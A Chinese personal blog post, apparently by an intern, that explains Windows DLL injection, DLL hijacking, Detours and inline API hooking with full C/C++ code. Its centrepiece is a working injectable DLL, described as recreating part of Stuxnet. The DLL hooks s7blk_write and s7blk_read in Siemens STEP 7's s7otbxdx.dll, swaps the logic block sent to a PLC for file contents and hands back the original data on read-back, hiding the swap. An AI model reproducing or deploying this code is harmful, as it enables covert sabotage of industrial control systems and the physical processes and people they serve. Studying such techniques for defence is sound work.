写这篇文章的时候,已经是一周后了,因为考试的原因在学校逗留了很久,4级可能又要跪了,听力听到最后竟然发现多了一题,What the kuck!
不过所幸编译原理,抄到了同学的,很happy的玩了会wow,考考古钓钓鱼,发现踏风武僧PK果断很弱,不过熊猫人囧囧的眼神还是很可爱的,平安夜前夕嗓子无故疼痛
没有和大家去唱歌,抱着2.5L的大瓶农夫山泉在电脑前一顿猛喝,默默想哥是不是得铁线虫了,世界末日都熬过来了,却要惨死在平安夜里,不禁心中泛起一丝悲凉,于是乎
把一个月前答应别人的明信片依次寄了出去,杀了杀部落小号,打了一局LOL拿了首胜,看了泰囧,洗漱完毕,觉得生无可恋躺到床上等死,灵魂正游荡于乌有之乡,忽然想起还有这么一篇博客没有写,陡然惊醒,爬起来写博客,后人写诗赞曰:垂死病中惊坐起,芙蓉帐暖写博客。
------------------------------------------我是莫名其妙的分割线---------------------------------------------------------------------------------
几个月后被问到,怎样dll注入的问题,竟然没答出个大概,这里补充一下DLL注入前面的一部分,怎样把写好的DLL注入到指定进程的地址空间。
这里大概需要几个Win API函数,
(1) 利用Windows API OpenProcess打开宿主进程
(2) 利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间
(3) 利用Windows API WriteProcessMemory函数将完整路径写入该存储空间
(4) 利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址
(5)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL
粘了一下别人的程序
//打开目标进程
HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,g_Pid);
if (!hProcess)
{
AfxMessageBox(TEXT("打开进程失败"));
return;
}
//在目标进程申请一段内存区域 来存放DLL路径
LPVOID pRemoteBase=VirtualAllocEx(hProcess,NULL,0x1000,MEM_COMMIT,PAGE_READWRITE);
if (pRemoteBase==NULL)
{
AfxMessageBox(TEXT("申请内存区域失败"));
return;
}
//在目标进程中写入DLL路径 写入的长度要+1 字符串终止符
if (!WriteProcessMemory(hProcess,pRemoteBase,(LPTSTR)(LPCTSTR)DllPath,DllPath.GetLength()+1,NULL))
{
AfxMessageBox(TEXT("进程写入失败"));
//失败就释放原先申请的内存区域 撤销内存页的提交状态
VirtualFreeEx(hProcess,pRemoteBase,0x1000,MEM_DECOMMIT);
return;
}
//得到LoadLibraryA的函数地址 因为Kernel32的加载地址在每个应用程序中都一样
LPTHREAD_START_ROUTINE pfn=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"),"LoadLibraryA");
//创建远程线程 执行加载
HANDLE hRemoteThread = CreateRemoteThread(hProcess,NULL,0,pfn,pRemoteBase,0,NULL);
if (hRemoteThread==NULL)
{
AfxMessageBox(TEXT("创建远程线程失败"));
//释放原先申请的内存区域 撤销内存页的提交状态
VirtualFreeEx(hProcess,pRemoteBase,0x1000,MEM_DECOMMIT);
return;
}
AfxMessageBox(TEXT("成功注入"));
//等待线程退出
WaitForSingleObject(hRemoteThread,-1);
//释放原先申请的内存区域 撤销内存页的提交状态
VirtualFreeEx(hProcess,pRemoteBase,0x1000,MEM_DECOMMIT);
//关闭句柄
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
//================================================割鸡鸡========================================================
言归正传,实习过程中要实现一个DLL HOOK的功能,大概是还原Stuxent攻击过程的一个小模块,目的是HOOK s7otbxdx.dll 这个动态连接库中的s7blk_write这个函数,
Stuxent在入侵过程中,会下载一个s7otbxdx.dll 劫持掉 SIMATIC STEP 7 所使用的真正的DLL,当PC机连接PLC的时候,会拦截正常指令换成恶意的代码,并且拦截了STEP 7
的系统警告,与运行状态监控,从中剔除掉危险的信息,这招极其阴毒。不过所幸的,我只需要实现读出 s7blk_write这个函数中的某些数据就可以,应该比较简单。
这是Stuxent劫持DLL的详细报告http://www.symantec.com/connect/blogs/stuxnet-1
通过伟哥给的信息和百度,大概总结了DLL HOOK的两种主要方式,DLL劫持,DLL注入。
DLL劫持的还比较简单,因为应用程序在寻找DLL是会先在本目录下寻找,再去系统目录下寻找,微软为了不让系统目录中的DLL看起来乱七八糟而采用了这种做法,
而我们只要用一个与原DLL有相同导出函数的DLL替换掉原DLL就可以实现HOOK,简单方便。关于这个DLL的导出函数,使用IDA的Hex-Rays.Decompiler插件可以把DLL
翻译成c代码,尽管有一些会不准确,或者使用AheadLib这个工具直接可以生成可以使用的DLL c代码,不过依然是代码不够准确需要修改,在原DLL有几百个导出函数时,
并不是一种可行的方法。
关于DLL劫持的结构大概如下,声明函数不需要包含参数,因为在调用前参数已经被push,直接JMP到真实函数地址即可运行,当然在DLL初始化的时候需要load原DLL
#pragma comment(linker, "/EXPORT:FuncationName=MyFuncationName,@1")
MyFuncationName(void)
{
GetAddress("FuncationName");
__asm JMP EAX;
}DLL注入的方法,实现的途径也比较多,微软提供了一个小型的库detour来实现,detour的编译过程比较蛋疼,网上的教程良莠不齐,大体过程是这样,
(1) 下载Detour并安装,一路下一步
(2) 把nmake配置到PATH中,或者运行vc\bin目录下的vcvars32.bat也可以
(3) 把Microsoft Research\Detours Express 2.1\src 整个移动到 vc文件夹下
(4) 把\Microsoft Research\Detours Express 3.0下的system.mak移动到 vc 文件夹下
(5) cmd到vc目录下执行nmake,会在lib目录下生成detours.lib,使用detour这个库只需要这一个lib文件
(6) \Microsoft Research\Detours Express 3.0\sample 是一些小工具这次我们要用到withdll
(7)直接进入,sample\withdll 文件夹下 nmake,之前最好先编译setdll和syslog两个文件程序实现就比较简单了,使用withdll /d:detour.dll main.exe 就可以看到结果,注意detour.dll中的Hook函数一定要是导出的,这样才能被withdll捕捉到
main.exe
typedef void (*func)();
int _tmain(int argc, _TCHAR* argv[])
{
HMODULE h = LoadLibrary(_T("target.dll"));
if (h == NULL) {
printf("Load target.dll failed.\n");
return 1;
}
func f = (func)GetProcAddress(h, "test");
if (f == NULL) {
printf("Load function failed.\n");
}
f();
getchar();
}target.dll
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
printf("target.dll loaded.\n");
return TRUE;
}
#ifdef _MANAGED
#pragma managed(pop)
#endif
void test() {
printf("This is test function in target module.\n");
}detour.dll
typedef void (*func)();
void my_test() {
printf("Func replaced in detour.dll!!\n");
}
func old = NULL;
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
{
LONG error;
(void)hinst;
(void)reserved;
if (dwReason == DLL_PROCESS_ATTACH) { //加载
printf("detour.dll: Starting.\n");
fflush(stdout);
printf("DLLs:\n"); //共调试用, 列出当前加载的模块
for (HMODULE hModule = NULL; (hModule = DetourEnumerateModules(hModule)) != NULL;) {
wchar_t szName[MAX_PATH];
GetModuleFileName(hModule, szName, sizeof(szName));
printf(" %p: %S\n", hModule, szName);
}
PVOID f = DetourFindFunction("target.dll", "test"); //要提花的函数是target.dll中的test
if (f == NULL) { //没找到, 直接返回
printf("func == null.\n");
return TRUE;
}
old = (func)f; //保存旧函数
DetourRestoreAfterWith(); //开始准备替换工作
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&f, my_test); //替换!! 替换成my_test() 函数
error = DetourTransactionCommit(); //提交修改, 并检查返回值
if (error == NO_ERROR) {
printf("detor.dll: Detoured function replaced!\n");
}
else {
printf("detor.dll: Error detouring function: %d\n", error);
}
}
else if (dwReason == DLL_PROCESS_DETACH) { //程序退出的时候回复原来的函数
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)old, my_test);
error = DetourTransactionCommit();
fflush(stdout);
}
return TRUE;
}关于detour的原理稍微说一下,他用到了一个很巧妙的Trampoline函数,来实现跳回原函数
具体可以看这里http://www.cnblogs.com/flying_bat/archive/2008/04/18/1159996.html
关于怎么建立一个dll的教程http://blog.csdn.net/XXKKFF/article/details/1522632
写到这里觉得胜利只是一步之遥了,但是在实际的SIMATIC STEP 7的注入以及HOOk中,detour却频繁报错,使我不得不换另外一种方法。
手动写HOOK所用的DLL,在通过DLL注入工具注入到进程中,以达到HOOK函数目的,
这里伟哥给出了一个类似的Demo
APIHook.cpp
//
#include "APIHook.h"
#pragma comment(lib, "Wininet.lib")
CAPIHook::CAPIHook(LPSTR pszModName, LPSTR pszFuncName, PROC pfnHook)
{
// 生成新的执行代码
//0xB8, 0x0F, 0x10, 0x40, 0x00, 0xFF, 0xE0
BYTE btNewBytes[8] = { 0x0B8, 0x0, 0x0, 0x40, 0x0, 0x0FF, 0x0E0, 0 };
memcpy(m_btNewBytes, btNewBytes, 8);
*(DWORD *)(m_btNewBytes + 1) = (DWORD)pfnHook;
// 加载指定模块
//m_hModule = GetModuleHandle(pszModName);
//if(m_hModule==NULL)
//{
m_hModule = ::LoadLibrary(pszModName);
//}
if(m_hModule == NULL)
{
m_pfnOrig = NULL;
return;
}
m_pfnOrig = ::GetProcAddress(m_hModule, pszFuncName);
// 修改原API函数执行代码的前8个字节,使它跳向我们的函数
if(m_pfnOrig != NULL)
{
DWORD dwOldProtect;
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery( m_pfnOrig, &mbi, sizeof(mbi) );
VirtualProtect(m_pfnOrig, 8, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 保存原来的执行代码
memcpy(m_btOldBytes, m_pfnOrig, 8);
// 写入新的执行代码
::WriteProcessMemory(::GetCurrentProcess(), (void *)m_pfnOrig,
m_btNewBytes, sizeof(DWORD)*2, NULL);
VirtualProtect(m_pfnOrig, 8, mbi.Protect, 0);
}
}
CAPIHook::~CAPIHook()
{
Unhook();
if(m_hModule != NULL)
::FreeLibrary(m_hModule);
}
void CAPIHook::Rehook()
{
// 修改原API函数执行代码的前8个字节,使它跳向我们的函数
if(m_pfnOrig != NULL)
{
DWORD dwOldProtect;
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery( m_pfnOrig, &mbi, sizeof(mbi) );
VirtualProtect(m_pfnOrig, 8, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 写入新的执行代码
::WriteProcessMemory(::GetCurrentProcess(), (void *)m_pfnOrig,
m_btNewBytes, sizeof(DWORD)*2, NULL);
VirtualProtect(m_pfnOrig, 8, mbi.Protect, 0);
}
}
void CAPIHook::Unhook()
{
if(m_pfnOrig != NULL)
{
DWORD dwOldProtect;
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(m_pfnOrig, &mbi, sizeof(mbi));
VirtualProtect(m_pfnOrig, 8, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 写入原来的执行代码
::WriteProcessMemory(::GetCurrentProcess(), (void *)m_pfnOrig,
m_btOldBytes, sizeof(DWORD)*2, NULL);
VirtualProtect(m_pfnOrig, 8, mbi.Protect, 0);
}
}APIHook.h
//////////////////////////////////////////////////////////
// ApiHook.h
#ifndef __APIHOOK_H__
#define __APIHOOK_H__
#include <windows.h>
class CAPIHook
{
public:
CAPIHook(LPSTR pszModName, LPSTR pszFuncName, PROC pfnHook);
~CAPIHook();
void Unhook();
void Rehook();
public:
PROC m_pfnOrig; // 那个函数的真正地址
protected:
BYTE m_btNewBytes[8];
BYTE m_btOldBytes[8];
HMODULE m_hModule;
};
#endif // __APIHOOK_H__
只要再写一个DLL就可以了,这里注意三点,
(1) DLLMain一定要返回true,这是dll是否加载成功的标志,不然DLL会被秒卸载掉
(2) 在Hook的时候尽量使用WinAPI函数,可以减少不必要的出错
(3) 在使用ollydbg调试的时候,设置断点的行,会把对该行的修改改成中断,所以设置断点的行不会被修改。
// step7inject.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include "APIHook.h"
#include <stdlib.h>
#include <stdio.h>
#define MAXSIZE 512
void DumpData(int a7, int a8)
{
DWORD dwOldProtect;
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery((PROC)a7, &mbi, sizeof(mbi));
VirtualProtect((PROC)a7, a8, PAGE_EXECUTE_READWRITE, &dwOldProtect);
BYTE data[MAXSIZE];
char strData[MAXSIZE];
memcpy(data,(void*)a7,a8);
char length[10] = {0};
//sprintf("%08x", l)
DWORD nBytes;
HANDLE hOpenFile = (HANDLE)CreateFile(LPCSTR("c:\\dumpBin.txt"), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NULL, NULL);
WriteFile(hOpenFile, &a8, 4 ,&nBytes,NULL);
WriteFile(hOpenFile, data, a8 ,&nBytes,NULL);
CloseHandle(hOpenFile);
hOpenFile = (HANDLE)CreateFile(LPCSTR("c:\\dumpHex.txt"), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NULL, NULL);
if (hOpenFile != INVALID_HANDLE_VALUE){
for(int i=0;i<a8;i++){
if (data[i]<16)
sprintf(strData,"0%x ",data[i]);
else
sprintf(strData,"%x ",data[i]);
WriteFile(hOpenFile,strData, strlen(strData) ,&nBytes,NULL);
if (i%16==0 && i!=0)
WriteFile(hOpenFile,"\n", strlen("\n") ,&nBytes,NULL);
}
CloseHandle(hOpenFile);
}
VirtualProtect((PROC)a7, a8, mbi.Protect, 0);
}
/*
a[9..c] = 58 = length
a[4..5] = 02 = 序号
a[2..3] = 0C = type
a[2a..] = type description
a[50..54] = 00 00 10 00
*/
char oldData[2048] = {0};
int op;
CAPIHook * HookWrite;
typedef int ( __stdcall *my_s7blk_write)(int a1, int a2, int a3, int a4, __int16 a5, __int16 a6, int buffer, int length);
extern "C" int __stdcall s7blk_write_0(int a1, int a2, int a3, int a4, __int16 a5, __int16 a6, int a7, int a8)
{
int ret;
if(op == 0)
{
MessageBox(NULL,"DumpGo","title",MB_OK);
DumpData(a7,a8);
MessageBox(NULL,"DumpDone","title",MB_OK);
HookWrite->Unhook();
ret = ((my_s7blk_write)HookWrite->m_pfnOrig)(a1,a2,a3,a4,a5,a6,a7,a8);
HookWrite->Rehook();
}
else if(op == 1)
{
char * data = NULL;
DWORD nBytes;
HANDLE hOpenFile = (HANDLE)CreateFile(LPCSTR("c:\\dumpBin.txt"), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL, NULL);
char length[10] = {0};
ReadFile(hOpenFile, length, 4 ,&nBytes,NULL);
int l = ((int *)length)[0];
data = (char *)malloc(l);
ReadFile(hOpenFile, data, l, &nBytes,NULL);
CloseHandle(hOpenFile);
HookWrite->Unhook();
if(memcmp(data, (char *)a7, 6) == 0)
{
memcpy(oldData, &a8, 4);
memcpy(&oldData[4], (char *)a7, a8);
ret = ((my_s7blk_write)HookWrite->m_pfnOrig)(a1,a2,a3,a4,a5,a6,(int)data,l);
}
else
ret = ((my_s7blk_write)HookWrite->m_pfnOrig)(a1,a2,a3,a4,a5,a6,a7,a8);
HookWrite->Rehook();
if(data)
delete data;
}
return ret;
}
CAPIHook * HookRead;
typedef int ( __stdcall *my_s7blk_read)(int a2, int a3, int a4, int a5, __int16 a6, __int16 a7, int offset, int length, int a10); //(char **); (char *)((*(char*)offset))
extern "C" int __stdcall s7blk_read_0(int a2, int a3, int a4, int a5, __int16 a6, __int16 a7, int a8, int a9, int a10)
{
int ret;
HookRead->Unhook();
ret = ((my_s7blk_read)HookRead->m_pfnOrig)(a2,a3,a4,a5,a6,a7,a8,a9,a10);
char * newdata = (char *)(((int*)a8)[0]);
if(memcmp(&oldData[4], newdata, 6) == 0)
{
((int *)a8)[0] = int(&oldData[4]);
}
HookRead->Rehook();
return ret;
}
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved){
if (dwReason == DLL_PROCESS_ATTACH) {
HookWrite = new CAPIHook("s7otbxdx.dll", "s7blk_write",(PROC)s7blk_write_0);
HookRead = new CAPIHook("s7otbxdx.dll", "s7blk_read",(PROC)s7blk_read_0);
op = 1;
}
else if (dwReason == DLL_PROCESS_DETACH) {
if(HookWrite)
HookWrite->Unhook();
if(HookRead)
HookRead->Unhook();
}
return true;
}DLL HOOK手动编写的教程http://www.programfan.com/club/showpost.asp?id=13644
本文介绍了DLL注入的基本步骤,包括OpenProcess、VirtualAllocEx、WriteProcessMemory、GetProcAddress和CreateRemoteThread等API的使用。讨论了Stuxnet如何通过DLL注入和HOOK技术劫持s7otbxdx.dll中的s7blk_write函数,以及DLL劫持和DLL注入两种主要方式。在实践中遇到的detour库问题导致转向手动编写HOOK DLL并使用DLL注入工具进行注入。

2006

被折叠的 条评论
为什么被折叠?



